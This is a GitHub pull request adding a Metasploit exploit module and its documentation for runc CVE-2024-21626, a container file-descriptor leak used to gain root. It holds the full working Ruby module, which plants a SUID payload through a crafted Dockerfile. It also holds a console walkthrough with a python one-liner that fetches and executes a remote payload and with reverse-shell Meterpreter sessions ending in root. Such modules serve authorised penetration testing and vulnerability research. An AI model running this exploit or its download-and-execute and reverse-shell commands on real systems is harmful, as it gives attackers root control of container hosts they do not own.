Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

runc cwd priv esc (docker) (cve-2024-21626) #18780

Merged
merged 2 commits into from
Feb 5, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
119 changes: 119 additions & 0 deletions documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application

All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).

Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Get an initial session
1. Do: `use exploit/linux/local/runc_cwd_priv_esc`
1. Do: `set session [session]`
1. Do: `run`
1. You should get a root shell.

## Options

## DOCKERIMAGE

A docker image to use, docker image must have linux commands
available (`scratch` won't work). Defaults to `alpine:latest`

## FILEDESCRIPTOR

The file descriptor to use, typically `7` or `8`. Defaults to `8`

### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04

Get an initial shell

```
user@userubuntu22:~/metasploit-framework$ ./msfconsole -qr runc.rb
[*] Processing runc.rb for ERB directives.
resource (runc.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (runc.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (runc.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/v5IbTIj', context=ssl._create_unverified_context());exec(r.read());"
[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes)
[*] Sending stage (24768 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer : userubuntu22
OS : Linux 5.19.0-43-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 22 13:39:36 UTC 2
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > background
[*] Backgrounding session 1...
```

Priv Esc

```
resource (runc.rb)> use exploit/linux/local/runc_cwd_priv_esc
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
resource (runc.rb)> set lhost 1.1.1.1
[*] Using URL: http://1.1.1.1:8080/v5IbTIj
lhost => 1.1.1.1
resource (runc.rb)> set session 1
session => 1
resource (runc.rb)> set lport 9876
lport => 9876
msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/runc_cwd_priv_esc) > run

[*] Started reverse TCP handler on 1.1.1.1:9876
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
Comment on lines +84 to +85
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a bit odd: while it's indeed a python-powered session, it's a meterpreter one, and this module is explicitly compatible with meterpreter sessions.

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1~22.04.1 detected
[*] Creating directory /tmp/.HdUvYm3
[*] /tmp/.HdUvYm3 created
[*] Uploading Payload to /tmp/.HdUvYm3/.OiGEedVKP
[*] Uploading Dockerfile to /tmp/.HdUvYm3/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*] Install the buildx component to build images with BuildKit:
[*] https://docs.docker.com/go/buildx/
[*]
[*] Sending build context to Docker daemon 3.072kB
[*] Step 1/3 : FROM alpine:latest
[*] ---> 05455a08881e
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*] ---> Using cache
[*] ---> f73c936557f3
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 4777 tmp/.HdUvYm3 && chown -R root:root tmp/.HdUvYm3 && chmod u+s tmp/.HdUvYm3/.OiGEedVKP
[*] ---> Running in c4afc663c2bc
[*] Removing intermediate container c4afc663c2bc
[*] ---> b490ec709420
[*] Successfully built b490ec709420
[*] Executing payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 1.1.1.1
[+] Deleted /tmp/.HdUvYm3
[*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000
[-] run: Interrupted
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
```
143 changes: 143 additions & 0 deletions modules/exploits/linux/local/runc_cwd_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',
'Description' => %q{
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).

Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Rory McNamara' # Discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],
[ 'CVE', '2024-21626']
],
'DisclosureDate' => '2024-01-31',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Leaky Vessels'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'MeterpreterTryToFork' => true
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),
]
end

def base_dir
datastore['WritableDir'].to_s
end

def check
sys_info = get_sysinfo

unless sys_info[:distro] == 'ubuntu'
return CheckCode::Safe('Check method only available for Ubuntu systems')
end

return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')

# Check the app is installed and the version, debian based example
package = cmd_exec('runc --version')
package = package.split[2] # runc, version, <the actual version>

if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2
package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched
package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched
return CheckCode::Appears("Vulnerable runc version #{package} detected")
end

unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln
return CheckCode::Appears("Vulnerable runc version #{package} detected")
end

CheckCode::Safe("runc #{package} is not vulnerable")
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
register_dirs_for_cleanup(dir)

# Upload payload executable
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)

# write docker file
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
write_file("#{dir}/Dockerfile", dockerfile)
register_file_for_cleanup("#{dir}/Dockerfile")

print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec "cd #{dir} && docker build ."
output.each_line { |line| vprint_status line.chomp }

# delete our docker image
if output =~ /Successfully built ([a-z0-9]+)$/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a big deal, but to avoid having to parse the output for the image ID, you can also add an image name when building with the -t flag:

docker build -t image_name .

and then, you can use it to delete the image:

docker image rm image_name

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I had thought about this, but then we'd want to make it random. If it's random, theres a (very very small) chance of a collision, so we'd want to check that first. Then I decided that a random string is basically what we get anyways because its a hash, so may as well just go with the flow

print_status("Removing created docker image #{Regexp.last_match(1)}")
output = cmd_exec "docker image rm #{Regexp.last_match(1)}"
output.each_line { |line| vprint_status line.chomp }
end

fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"
fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path

h00die marked this conversation as resolved.
Show resolved Hide resolved
print_status("Payload permissions set, executing payload (#{payload_path})...")
cmd_exec "#{payload_path} &"
end
end
Loading